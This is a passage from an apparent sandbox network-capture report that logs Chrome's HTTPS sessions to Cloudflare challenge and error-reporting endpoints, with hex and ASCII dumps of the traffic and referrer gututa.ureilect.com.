65 6e 77 78 39 2f 4a 30 4b 2f 6d 30 72 50 50 2b 39 4b 32 39 75 41 41 31 76 72 55 33 65 66 63 34 39 7a 6a 42 75 44 4c 35 67 37 6e 34 64 33 4d Data Ascii: 042NiQmME1WUBtJKUxAPlYyNztbOiVoNydMa2JjQDMzZ2B4NHptaVg0W3U7Snk/UlpWcnBWZ4tjgYdgi5JlXI+WUY2XapljiJGdXJFgilylmZifY51ie6KfZoubjZOghqN0r6JwinWFdrGqtr2QsKO5uJOCyKiVy4uoxILQnaHPjIjSzdK6tZu7r9Kemdrc36/O09Ghy+ze5cTh3enwx9/J0K/m0rPP+9K29uAA1vrU3efc49zjBuDL5g7n4d3M
2024-04-24 22:49:29 UTC	1369	IN	Data Raw: 63 6c 58 6c 46 59 54 6a 78 44 4f 54 6b 33 57 69 42 55 48 7a 31 67 58 31 6c 64 50 6b 68 73 53 69 55 39 61 46 38 31 61 48 64 6c 4c 54 4e 57 64 48 4a 37 4e 7a 53 45 58 59 5a 57 67 44 6f 37 51 59 42 2f 59 57 68 47 6a 6c 39 75 69 55 2b 48 59 33 4f 50 5a 49 32 54 66 49 70 37 6a 47 42 79 66 46 39 2b 65 59 4a 6e 64 47 5a 38 70 4a 74 71 61 59 32 62 71 61 36 43 69 61 74 32 71 49 32 34 65 61 4e 37 6d 72 57 2b 76 34 6d 66 6f 71 57 6c 72 70 75 49 6f 5a 36 31 77 4d 61 76 71 36 69 79 73 73 62 54 6a 37 2b 6c 7a 4e 50 55 70 64 4c 58 73 4d 79 70 6d 4c 4c 41 73 62 2f 47 75 35 2f 45 31 36 4b 37 75 64 79 6d 33 71 2b 39 7a 4c 44 6e 77 66 50 71 35 75 53 74 38 2f 6e 51 36 37 38 41 76 37 33 31 42 41 44 41 78 38 50 54 78 65 51 49 31 78 45 4a 32 67 77 51 36 51 2f 72 46 4f 6b 4e 36 Data Ascii: clXlFYTjxDOTk3WiBUHz1gX1ldPkhsSiU9aF81aHdlLTNWdHJ7NzSEXYZWgDo7QYB/YWhGjl9uiU+HY3OPZI2TfIp7jGByfF9+eYJndGZ8pJtqaY2bqa6Ciat2qI24eaN7mrW+v4mfoqWlrpuIoZ61wMavq6iyssbTj7+lzNPUpdLXsMypmLLAsb/Gu5/E16K7udym3q+9zLDnwfPq5uSt8/nQ678Av731BADAx8PTxeQI1xEJ2gwQ6Q/rFOkN6
2024-04-24 22:49:29 UTC	413	IN	Data Raw: 36 50 54 41 6c 4e 45 67 6e 55 54 34 70 57 53 51 37 4b 30 6b 71 58 54 46 77 59 6c 46 55 5a 7a 68 43 55 31 70 4d 56 6c 42 55 62 33 77 38 66 56 4a 51 65 56 74 45 52 6e 6d 41 61 6e 5a 6e 52 34 42 45 54 58 4b 49 63 48 47 56 6a 70 6c 70 6a 34 78 6d 65 59 6c 68 65 57 47 6b 6f 5a 36 6a 5a 32 6d 6d 6f 47 65 41 6e 71 57 75 70 71 6c 72 70 49 4a 78 75 49 43 4a 74 4c 4f 59 74 58 69 59 6b 5a 2b 73 66 70 70 2b 70 37 57 6f 77 36 6e 4b 75 4b 47 74 7a 72 2b 6c 73 64 4b 6d 71 62 58 57 72 4d 4c 5a 6c 4e 44 4d 79 4c 65 33 75 4a 71 79 31 36 36 32 77 75 65 32 78 74 71 6c 36 38 43 72 79 62 71 6f 31 4e 43 74 78 65 62 58 75 63 54 58 38 39 37 62 39 75 7a 65 7a 77 50 32 34 37 37 6b 31 4d 55 44 78 64 7a 4b 78 77 54 37 43 2f 30 42 42 63 38 43 34 64 66 34 2b 78 50 63 2b 39 30 4d 34 42 Data Ascii: 6PTAlNEgnUT4pWSQ7K0kqXTFwYlFUZzhCU1pMVlBUb3w8fVJQeVtERnmAanZnR4BETXKIcHGVjplpj4xmeYlheWGkoZ6jZ2mmoGeAnqWupqlrpIJxuICJtLOYtXiYkZ+sfpp+p7Wow6nKuKGtzr+lsdKmqbXWrMLZlNDMyLe3uJqy1662wue2xtql68Crybqo1NCtxebXucTX897b9uzezwP2477k1MUDxdzKxwT7C/0BBc8C4df4+xPc+90M4B
2024-04-24 22:49:29 UTC	1276	IN	Data Raw: 34 66 35 0d 0a 61 54 62 58 46 7a 6d 6f 78 73 5a 31 2b 4a 63 31 2b 57 66 57 4f 46 67 47 61 41 64 61 5a 71 68 49 71 71 61 49 57 7a 6e 59 70 75 63 34 65 61 69 35 4f 64 72 48 75 71 6b 4c 65 68 75 4c 6d 54 73 34 47 47 74 62 57 34 6d 4b 54 4e 78 49 61 50 73 49 32 2b 6a 4e 47 6d 6b 39 65 31 6c 4e 57 31 6d 4a 79 34 30 39 75 38 76 74 71 66 30 65 6e 6c 75 73 54 74 74 71 58 4b 38 4e 2f 63 34 50 58 48 38 4e 62 33 7a 65 50 36 74 66 48 74 36 64 6a 59 32 62 76 54 2b 4d 2f 58 34 65 6e 7a 41 75 55 4d 33 66 33 50 41 4f 6b 46 34 64 33 4d 46 52 50 68 43 42 45 56 35 51 77 56 32 65 6b 51 47 53 58 74 46 42 30 63 38 2b 6b 4a 43 76 34 4a 2b 79 77 45 44 67 49 4b 4c 75 38 52 39 78 48 36 4e 7a 58 36 4f 68 66 32 50 78 63 33 49 78 77 2b 45 45 4e 44 4f 67 51 6c 4b 79 34 34 48 6b 45 70 Data Ascii: 4f5aTbXFzmoxsZ1+Jc1+WfWOFgGaAdaZqhIqqaIWznYpuc4eai5OdrHuqkLehuLmTs4GGtbW4mKTNxIaPsI2+jNGmk9e1lNW1mJy409u8vtqf0enlusTttqXK8N/c4PXH8Nb3zeP6tfHt6djY2bvT+M/X4enzAuUM3f3PAOkF4d3MFRPhCBEV5QwV2ekQGSXtFB0c8+kJCv4J+ywEDgIKLu8R9xH6NzX6Ohf2Pxc3Ixw+EENDOgQlKy44HkEp
2024-04-24 22:49:29 UTC	175	IN	Data Raw: 61 39 0d 0a 51 4d 67 30 4f 51 6b 31 4c 45 31 6c 64 50 53 68 65 58 43 45 76 54 54 4e 43 52 45 56 65 49 6b 68 66 56 55 35 61 50 31 70 4b 51 30 31 47 55 32 52 48 63 6c 68 4e 4e 31 46 6e 55 56 69 42 65 6a 52 76 5a 46 56 63 56 33 74 4a 65 6e 53 4d 5a 57 4e 59 58 6d 35 38 6b 34 75 4b 56 55 39 74 6c 6e 4b 46 64 5a 6c 57 69 48 42 7a 64 6d 78 64 58 6e 71 6b 6e 59 64 2f 5a 48 74 37 66 32 68 6f 6a 70 4b 4c 74 58 43 68 62 59 61 74 6a 4a 43 33 6a 48 52 78 6c 34 43 4e 6e 73 4c 45 6d 4a 4b 48 77 5a 65 49 77 49 33 4f 72 73 69 68 0d 0a Data Ascii: a9QMg0OQk1LE1ldPSheXCEvTTNCREVeIkhfVU5aP1pKQ01GU2RHclhNN1FnUViBejRvZFVcV3tJenSMZWNYXm58k4uKVU9tlnKFdZlWiHBzdmxdXnqknYd/ZHt7f2hojpKLtXChbYatjJC3jHRxl4CNnsLEmJKHwZeIwI3Orsih

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.16	49727	35.190.80.1	443	6248	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 22:49:29 UTC	540	OUT	OPTIONS /report/v4?s=u0a%2Bq4xND1FN0C9MHUxIB4ToKwF3RsCwI5sNHm27yuhm%2B7kLYTX8dyrji0aVuCc7R3CwX1lqYiz41FqlIUWreZMSMikW6%2BvN24SL9eo%2BxaOVe0pQaN2zDueLsR6Vlw%3D%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Origin: https://gututa.ureilect.com Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 22:49:29 UTC	336	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-max-age: 86400 access-control-allow-methods: OPTIONS, POST access-control-allow-origin: * access-control-allow-headers: content-length, content-type date: Wed, 24 Apr 2024 22:49:29 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.16	49728	104.17.3.184	443	6248	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 22:49:29 UTC	486	OUT	GET /cdn-cgi/challenge-platform/h/b/flow/ov1/197470931:1713997520:DaXxhv4ov71QJcajASKntCSPo-IrKnIIVexevO593E0/8799a58bde211351/67971d35eb53136 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 22:49:30 UTC	377	IN	HTTP/1.1 400 Bad Request Date: Wed, 24 Apr 2024 22:49:29 GMT Content-Type: application/json Content-Length: 7 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cf-chl-out: Rk+UBxIbX/QsxheiJ0tfXw==$FL+hOtgJjzy4v9Aena2/iw== Server: cloudflare CF-RAY: 8799a59a399f53c6-ATL alt-svc: h3=":443"; ma=86400
2024-04-24 22:49:30 UTC	7	IN	Data Raw: 69 6e 76 61 6c 69 64 Data Ascii: invalid

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.16	49729	104.17.3.184	443	6248	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 22:49:30 UTC	804	OUT	GET /cdn-cgi/challenge-platform/h/b/pat/8799a58bde211351/1713998969158/3daf6e0b959aac451d968150be314b24d5b0e2325e9d5285c76b38b9b323c647/5B6wV5VHgVesIP7 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/7m7v1/0x4AAAAAAAWuxZbeQelI4Wvo/auto/normal Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 22:49:30 UTC	143	IN	HTTP/1.1 401 Unauthorized Date: Wed, 24 Apr 2024 22:49:30 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 1 Connection: close
2024-04-24 22:49:30 UTC	1382	IN	Data Raw: 77 77 77 2d 61 75 74 68 65 6e 74 69 63 61 74 65 3a 20 50 72 69 76 61 74 65 54 6f 6b 65 6e 20 63 68 61 6c 6c 65 6e 67 65 3d 22 41 41 49 41 47 58 42 68 64 43 31 70 63 33 4e 31 5a 58 49 75 59 32 78 76 64 57 52 6d 62 47 46 79 5a 53 35 6a 62 32 30 67 50 61 39 75 43 35 57 61 72 45 55 64 6c 6f 46 51 76 6a 46 4c 4a 4e 57 77 34 6a 4a 65 6e 56 4b 46 78 32 73 34 75 62 4d 6a 78 6b 63 41 47 57 4e 6f 59 57 78 73 5a 57 35 6e 5a 58 4d 75 59 32 78 76 64 57 52 6d 62 47 46 79 5a 53 35 6a 62 32 30 3d 22 2c 20 74 6f 6b 65 6e 2d 6b 65 79 3d 22 4d 49 49 42 55 6a 41 39 42 67 6b 71 68 6b 69 47 39 77 30 42 41 51 6f 77 4d 4b 41 4e 4d 41 73 47 43 57 43 47 53 41 46 6c 41 77 51 43 41 71 45 61 4d 42 67 47 43 53 71 47 53 49 62 33 44 51 45 42 43 44 41 4c 42 67 6c 67 68 6b 67 42 5a 51 4d Data Ascii: www-authenticate: PrivateToken challenge="AAIAGXBhdC1pc3N1ZXIuY2xvdWRmbGFyZS5jb20gPa9uC5WarEUdloFQvjFLJNWw4jJenVKFx2s4ubMjxkcAGWNoYWxsZW5nZXMuY2xvdWRmbGFyZS5jb20=", token-key="MIIBUjA9BgkqhkiG9w0BAQowMKANMAsGCWCGSAFlAwQCAqEaMBgGCSqGSIb3DQEBCDALBglghkgBZQM
2024-04-24 22:49:30 UTC	1	IN	Data Raw: 4a Data Ascii: J

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.16	49730	35.190.80.1	443	6248	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 22:49:30 UTC	478	OUT	POST /report/v4?s=u0a%2Bq4xND1FN0C9MHUxIB4ToKwF3RsCwI5sNHm27yuhm%2B7kLYTX8dyrji0aVuCc7R3CwX1lqYiz41FqlIUWreZMSMikW6%2BvN24SL9eo%2BxaOVe0pQaN2zDueLsR6Vlw%3D%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Content-Length: 436 Content-Type: application/reports+json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 22:49:30 UTC	436	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 30 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 36 39 34 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 68 74 74 70 73 3a 2f 2f 67 75 74 75 74 61 2e 75 72 65 69 6c 65 63 74 2e 63 6f 6d 2f 31 4d 5a 31 35 33 75 57 2f 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 30 34 2e 32 31 2e 35 37 2e 39 32 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 34 30 34 2c 22 74 79 70 65 22 3a 22 68 74 74 70 2e 65 72 72 6f 72 22 7d 2c 22 74 79 70 65 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 Data Ascii: [{"age":0,"body":{"elapsed_time":694,"method":"GET","phase":"application","protocol":"http/1.1","referrer":"https://gututa.ureilect.com/1MZ153uW/","sampling_fraction":1.0,"server_ip":"104.21.57.92","status_code":404,"type":"http.error"},"type":"network-er
2024-04-24 22:49:30 UTC	168	IN	HTTP/1.1 200 OK Content-Length: 0 date: Wed, 24 Apr 2024 22:49:29 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.16	49732	104.17.3.184	443	6248	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 22:49:30 UTC	775	OUT	GET /cdn-cgi/challenge-platform/h/b/i/8799a58bde211351/1713998969163/qq3KK3QMjPGdJp_ HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/7m7v1/0x4AAAAAAAWuxZbeQelI4Wvo/auto/normal Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 22:49:31 UTC	200	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 22:49:30 GMT Content-Type: image/png Content-Length: 61 Connection: close Server: cloudflare CF-RAY: 8799a5a068d91d76-ATL alt-svc: h3=":443"; ma=86400
2024-04-24 22:49:31 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 22 00 00 00 5d 08 02 00 00 00 4f 51 23 81 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDR"]OQ#IDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.16	49733	104.17.3.184	443	6248	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 22:49:31 UTC	428	OUT	GET /cdn-cgi/challenge-platform/h/b/i/8799a58bde211351/1713998969163/qq3KK3QMjPGdJp_ HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 22:49:31 UTC	200	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 22:49:31 GMT Content-Type: image/png Content-Length: 61 Connection: close Server: cloudflare CF-RAY: 8799a5a39ab8ad9e-ATL alt-svc: h3=":443"; ma=86400
2024-04-24 22:49:31 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 22 00 00 00 5d 08 02 00 00 00 4f 51 23 81 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDR"]OQ#IDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.16	49734	104.17.3.184	443	6248	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 22:49:31 UTC	916	OUT	POST /cdn-cgi/challenge-platform/h/b/flow/ov1/197470931:1713997520:DaXxhv4ov71QJcajASKntCSPo-IrKnIIVexevO593E0/8799a58bde211351/67971d35eb53136 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 29394 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: 67971d35eb53136 sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/7m7v1/0x4AAAAAAAWuxZbeQelI4Wvo/auto/normal Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 22:49:31 UTC	16384	OUT	Data Raw: 76 5f 38 37 39 39 61 35 38 62 64 65 32 31 31 33 35 31 3d 33 72 51 6c 6f 2d 70 4c 7a 54 71 50 51 2d 57 72 4e 55 77 4b 6b 69 42 4b 2d 6d 4d 43 4d 31 6c 2d 44 70 32 4d 32 6c 77 51 44 4d 32 38 4d 6e 2d 4d 77 69 6c 70 74 4d 35 6e 6c 4b 71 70 4e 4d 34 70 6c 49 72 44 4d 43 7a 76 4d 70 5a 70 4d 77 55 4d 53 52 24 72 78 51 51 6b 69 63 4c 4d 55 55 69 2d 4e 4d 50 24 74 69 44 6d 4d 54 76 4b 72 53 74 69 25 32 62 4a 66 66 37 2b 44 77 41 4d 49 44 2d 50 4d 59 44 2d 4c 6b 6b 4d 4d 71 7a 4d 5a 78 4d 4d 5a 4e 2b 52 4b 4d 70 4c 4d 2d 37 2b 4d 74 4a 52 49 4e 77 55 4d 75 69 32 4d 2b 43 77 51 68 33 32 4d 2d 78 6c 51 43 63 77 6c 4a 74 2b 50 50 41 4c 61 56 44 4d 33 6b 69 4d 42 77 6b 44 71 6b 38 65 4c 24 2d 2b 71 56 54 71 2d 7a 38 54 43 74 66 6d 71 4b 45 6a 4e 64 6e 43 2d 48 2b 77 Data Ascii: v_8799a58bde211351=3rQlo-pLzTqPQ-WrNUwKkiBK-mMCM1l-Dp2M2lwQDM28Mn-MwilptM5nlKqpNM4plIrDMCzvMpZpMwUMSR$rxQQkicLMUUi-NMP$tiDmMTvKrSti%2bJff7+DwAMID-PMYD-LkkMMqzMZxMMZN+RKMpLM-7+MtJRINwUMui2M+CwQh32M-xlQCcwlJt+PPALaVDM3kiMBwkDqk8eL$-+qVTq-z8TCtfmqKEjNdnC-H+w
2024-04-24 22:49:31 UTC	13010	OUT	Data Raw: 59 2b 6c 4d 67 49 63 2b 4b 4d 2d 61 37 67 79 65 77 66 4d 69 4d 57 4d 49 4d 4e 6c 4d 44 70 4b 69 77 69 4d 64 4d 4f 4d 4b 4d 70 45 37 4c 4d 42 6c 77 4b 70 68 4d 49 6c 77 71 70 50 4d 24 6c 4d 2b 70 6f 2b 2d 69 70 58 4d 64 4d 70 69 2d 6b 4d 48 4d 33 69 2b 4a 4d 75 4d 54 4d 77 4d 70 6f 4d 6b 44 4d 55 4d 6a 4d 75 4d 51 64 70 76 4b 69 72 77 6b 4f 6e 61 70 30 6b 74 70 48 4d 42 71 4d 72 70 2d 6e 67 44 4d 69 76 71 69 62 61 37 4a 70 71 4d 78 4d 70 69 70 75 4d 2b 4d 4d 57 70 45 69 78 51 4d 4b 4d 61 4d 6b 6c 2b 54 71 59 4d 34 71 4e 6c 2d 31 4d 75 6c 4e 72 4d 5a 69 2b 4d 2b 2b 4d 75 7a 49 4d 33 58 70 64 4d 77 4d 70 6b 70 37 4d 5a 69 63 4a 70 77 68 42 6c 63 44 77 43 4d 74 44 2d 6c 70 6a 4d 2b 4d 2d 72 4d 59 4d 4f 4d 77 32 70 74 69 24 69 2b 52 6c 7a 72 78 52 39 72 70 4b Data Ascii: Y+lMgIc+KM-a7gyewfMiMWMIMNlMDpKiwiMdMOMKMpE7LMBlwKphMIlwqpPM$lM+po+-ipXMdMpi-kMHM3i+JMuMTMwMpoMkDMUMjMuMQdpvKirwkOnap0ktpHMBqMrp-ngDMivqiba7JpqMxMpipuM+MMWpEixQMKMaMkl+TqYM4qNl-1MulNrMZi+M++MuzIM3XpdMwMpkp7MZicJpwhBlcDwCMtD-lpjM+M-rMYMOMw2pti$i+RlzrxR9rpK
2024-04-24 22:49:31 UTC	350	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 22:49:31 GMT Content-Type: text/plain; charset=UTF-8 Transfer-Encoding: chunked Connection: close cf-chl-gen: ifehGITtfVkONZVY5Xz+CJ0D8ZIkZY7bEzEwcxqt61Vv1j1SRH1qteZ5hiz39J8K$eos5X/GBnZHRHi19RtrVhQ== vary: accept-encoding Server: cloudflare CF-RAY: 8799a5a4299c1383-ATL alt-svc: h3=":443"; ma=86400
2024-04-24 22:49:31 UTC	445	IN	Data Raw: 31 62 36 0d 0a 75 58 2b 62 6d 38 4f 49 77 71 4b 43 69 34 65 6f 69 4d 44 46 68 4e 4f 30 70 6f 6a 48 7a 73 53 4d 79 39 4f 37 74 38 7a 57 6e 73 33 58 30 4a 79 33 72 38 53 6f 71 73 4c 74 31 36 66 45 33 63 6a 6c 35 38 50 45 35 50 65 71 78 4e 48 30 38 74 62 62 73 51 44 4e 75 4e 62 31 30 74 58 65 31 64 33 36 42 2f 55 48 35 2f 76 4e 34 2b 6f 4b 39 4f 50 71 43 4f 6e 6a 36 42 4c 75 37 4e 62 32 2f 66 44 55 37 69 4c 74 46 74 30 5a 2b 51 4d 4d 35 67 72 74 44 41 6e 39 44 41 48 2b 41 68 4d 6a 46 50 55 55 2b 52 59 4f 46 41 6f 75 47 6a 59 50 44 52 49 62 45 68 49 53 47 52 77 58 48 55 30 5a 55 43 49 68 4a 42 31 41 52 69 51 6a 4c 6a 4d 6f 50 44 73 6f 50 44 6b 78 59 6a 45 76 4d 6a 39 62 4e 43 46 54 4f 69 70 61 5a 31 70 50 59 6d 70 69 55 55 35 32 63 32 4e 76 64 47 52 65 4e 33 Data Ascii: 1b6uX+bm8OIwqKCi4eoiMDFhNO0pojHzsSMy9O7t8zWns3X0Jy3r8SoqsLt16fE3cjl58PE5PeqxNH08tbbsQDNuNb10tXe1d36B/UH5/vN4+oK9OPqCOnj6BLu7Nb2/fDU7iLtFt0Z+QMM5grtDAn9DAH+AhMjFPUU+RYOFAouGjYPDRIbEhISGRwXHU0ZUCIhJB1ARiQjLjMoPDsoPDkxYjEvMj9bNCFTOipaZ1pPYmpiUU52c2NvdGReN3
2024-04-24 22:49:31 UTC	1369	IN	Data Raw: 66 33 63 0d 0a 44 4c 42 2b 50 69 45 4f 37 2b 35 2b 50 71 44 76 6e 6c 39 76 50 7a 36 76 41 42 43 77 49 51 44 2b 33 75 35 69 63 52 2b 68 38 6a 4b 2b 6f 6e 34 53 37 76 49 77 77 53 45 51 45 54 46 54 72 78 4b 76 77 37 2b 50 6b 41 47 52 6f 38 42 42 78 42 45 44 68 47 4b 68 59 59 51 42 74 42 4a 41 39 51 4d 55 42 4d 4e 54 52 4e 51 6a 67 54 54 52 6b 63 4d 6c 52 44 50 56 46 51 4f 6c 55 39 48 79 42 6d 50 53 70 66 4a 31 46 69 4b 32 68 54 62 55 67 70 63 48 4a 79 62 33 4a 58 63 6e 74 6f 55 6e 46 31 50 30 34 39 52 31 56 56 63 6c 68 63 59 32 5a 35 57 55 4e 70 53 55 31 53 62 6e 4e 34 56 49 6d 51 6d 6c 52 65 6e 35 75 56 58 49 43 65 6a 31 2b 65 61 4a 4f 4b 72 4b 61 6b 62 71 42 75 67 58 35 71 70 32 36 57 71 4a 6d 72 68 6e 57 6e 75 35 36 37 69 71 36 69 6e 4d 57 37 75 36 2b 52 Data Ascii: f3cDLB+PiEO7+5+PqDvnl9vPz6vABCwIQD+3u5icR+h8jK+on4S7vIwwSEQETFTrxKvw7+PkAGRo8BBxBEDhGKhYYQBtBJA9QMUBMNTRNQjgTTRkcMlRDPVFQOlU9HyBmPSpfJ1FiK2hTbUgpcHJyb3JXcntoUnF1P049R1VVclhcY2Z5WUNpSU1SbnN4VImQmlRen5uVXICej1+eaJOKrKakbqBugX5qp26WqJmrhnWnu567iq6inMW7u6+R
2024-04-24 22:49:31 UTC	1369	IN	Data Raw: 33 39 2f 76 50 51 39 41 54 51 45 4e 48 6e 45 4f 34 51 46 64 33 31 39 74 30 4f 49 78 77 4f 46 41 51 71 35 53 77 4e 35 77 4d 73 49 2b 6f 65 44 67 73 4d 4c 7a 67 59 37 76 44 77 4f 76 76 7a 48 43 30 34 44 42 30 2f 45 68 6b 69 4b 55 6f 67 4e 54 73 63 49 54 67 70 4b 43 4e 47 55 77 73 72 52 31 64 47 4b 43 39 62 53 69 77 76 58 30 34 76 49 6d 4e 53 4d 79 4a 6e 56 6a 67 33 61 31 6f 38 4e 32 39 65 50 6d 6c 7a 59 6b 4a 32 64 55 68 69 59 30 6c 38 52 6a 34 32 58 57 35 66 55 48 52 62 63 46 4b 44 58 6d 52 61 61 6b 56 39 5a 6d 46 73 54 6e 56 4f 67 47 74 33 67 6c 64 35 55 35 64 78 69 47 39 61 63 33 39 57 6e 33 70 64 6f 49 56 33 58 5a 35 2b 67 47 61 4d 72 36 32 6f 69 47 75 4c 64 33 69 53 71 70 6d 49 6d 48 52 31 6d 61 4b 61 6e 5a 44 47 6b 36 69 63 70 35 69 48 67 72 65 58 69 Data Ascii: 39/vPQ9ATQENHnEO4QFd319t0OIxwOFAQq5SwN5wMsI+oeDgsMLzgY7vDwOvvzHC04DB0/EhkiKUogNTscITgpKCNGUwsrR1dGKC9bSiwvX04vImNSMyJnVjg3a1o8N29ePmlzYkJ2dUhiY0l8Rj42XW5fUHRbcFKDXmRaakV9ZmFsTnVOgGt3gld5U5dxiG9ac39Wn3pdoIV3XZ5+gGaMr62oiGuLd3iSqpmImHR1maKanZDGk6icp5iHgreXi
